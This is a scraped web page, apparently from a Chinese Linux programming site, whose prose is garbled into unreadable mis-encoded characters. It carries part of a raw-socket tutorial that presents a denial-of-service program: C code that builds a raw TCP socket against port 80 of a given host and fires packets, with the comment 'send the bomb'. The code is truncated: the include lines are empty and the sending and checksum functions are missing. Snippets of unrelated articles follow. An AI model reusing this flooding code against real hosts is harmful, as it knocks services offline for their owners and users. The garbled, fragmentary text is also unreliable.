Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

Linux²Ù×÷ÏµÍ³ÍøÂç±à³Ì ԭʼÌ×½Ó×Ö £¨1£©

Linux²Ù×÷ÏµÍ³ÍøÂç±à³Ì--ԭʼÌ×½Ó×Ö £¨1£©
http://soft.zdnet.com.cn/software_zone/2007/1020/568223.shtml
ÎÒÃÇÔÚÇ°ÃæÒѾ­Ñ§Ï°¹ýÁËÍøÂç³ÌÐòµÄÁ½ÖÖÌ×½Ó×Ö(SOCK_STREAM,SOCK_DRAGM).ÔÚÕâÒ»Õ ÀïÃæÎÒÃÇÒ»ÆðÀ´Ñ§Ï°ÁíÍâÒ»ÖÖÌ×½Ó×Ö--ԭʼÌ×½Ó×Ö(SOCK_RAW)¡£Ó¦ÓÃԭʼÌ×½Ó×Ö,ÎÒÃÇ¿ÉÒÔ±àд³öÓÉTCPºÍUDPÌ×½Ó×Ö²»Äܹ»ÊµÏֵŦÄÜ. ×¢ÒâԭʼÌ×½Ó×ÖÖ»Äܹ»ÓÉÓÐrootȨÏÞµÄÈË´´½¨¡£
ԭʼÌ×½Ó×ֵĴ´½¨
int sockfd(AF_INET,SOCK_RAW,protocol)
¿ÉÒÔ´´½¨Ò»¸öԭʼÌ×½Ó×Ö.¸ù¾ÝЭÒéµÄÀàÐͲ»Í¬ÎÒÃÇ¿ÉÒÔ´´½¨²»Í¬ÀàÐ͵ÄԭʼÌ×½Ó×Ö ±ÈÈç:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDPµÈµÈ.ÏêϸµÄÇé¿ö²é¿´ ÏÂÃæÎÒÃÇÒÔÒ»¸öʵÀýÀ´ËµÃ÷ԭʼÌ×½Ó×ֵĴ´½¨ºÍʹÓÃ
Ò»¸öԭʼÌ×½Ó×ÖµÄʵÀý
»¹¼ÇµÃDOSÊÇʲôÒâ˼Âð?ÔÚÕâÀïÎÒÃǾÍÒ»ÆðÀ´±àдһ¸öʵÏÖDOSµÄС³ÌÐò. ÏÂÃæÊdzÌÐòµÄÔ´´úÂë
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DESTPORT 80 /* Òª¹¥»÷µÄ¶Ë¿Ú(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostnamena",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** ʹÓÃIPPROTO_TCP´´½¨Ò»¸öTCPµÄԭʼÌ×½Ó×Ö ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%sna",strerror(errno));
exit(1);
}
/******** ÉèÖÃIPÊý¾Ý°ü¸ñʽ,¸æËßϵͳÄÚºËÄ£¿éIPÊý¾Ý°üÓÉÎÒÃÇ×Ô¼ºÀ´Ìîд ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** ûÓа취,Ö»Ó󬼶»¤Óû§²Å¿ÉÒÔʹÓÃԭʼÌ×½Ó×Ö *********/
setuid(getpid());
/********* ·¢ËÍÕ¨µ¯ÁË!!!! ****/
send_tcp(sockfd,&addr);


Ïà¹ØÎĵµ£º

linuxϵÄumask( )º¯Êý¡¢setsid( )º¯Êý

       umask()º¯Êý£º´Ëº¯ÊýµÄÖ÷Òª×÷ÓÃÊÇÔÚ´´½¨ÎļþʱÉèÖûòÕ߯Á±ÎµôÎļþµÄһЩȨÏÞ¡£Ò»°ãÓëopen()º¯ÊýÅäºÏʹÓá£openº¯ÊýÔ­ÐÍ£º
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
int open( const char * pathname, int flags);
int open( const char ......

linux trap

trap [-lp] [arg] [sigspec ...] µ± shell ÊÕµ½ÐźŠsigspec ʱ£¬ÃüÁî arg ½«±»¶ÁÈ¡²¢Ö´ÐС£Èç¹ûûÓиø³ö arg »òÕ߸ø³öµÄÊÇ -, ËùÓÐÖ¸¶¨µÄÐźű»ÉèÖÃΪËüÃǵijõʼֵ (½øÈë shell ʱËüÃǵÄÖµ)¡£Èç¹û arg ÊÇ¿Õ×Ö·û´®£¬ sigspec Ö¸¶¨µÄÐźű» shell ºÍËüÆô¶¯µÄÃüÁîºöÂÔ¡£Èç¹û arg ²»´æÔÚ£¬²¢ÇÒ¸ø³öÁË -p ÄÇôÓëÿ¸ö sigspec ......

ǶÈëʽLinux²Ù×÷ϵͳѧϰ¹æ»®

ǶÈëʽLinux²Ù×÷ϵͳѧϰ¹æ»®
ARM+LINUX·Ïߣ¬Ö÷¹¥Ç¶ÈëʽLinux²Ù×÷ϵͳ¼°ÆäÉÏÓ¦ÓÃÈí¼þ¿ª·¢Ä¿±ê£º 
£¨1£© ÕÆÎÕÖ÷Á÷ǶÈëʽ΢´¦ÀíÆ÷µÄ½á¹¹ÓëÔ­Àí£¨³õ²½¶¨Îªarm9£© 
£¨2£© ±ØÐëÕÆÎÕÒ»¸öǶÈëʽ²Ù×÷ϵͳ £¨³õ²½¶¨Îªuclinux»òlinux,°æ±¾´ý¶¨£© 
£¨3£© ±ØÐëÊìϤǶÈëʽÈí¼þ¿ª·¢Á÷³Ì²¢ÖÁÉÙ×öÒ ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ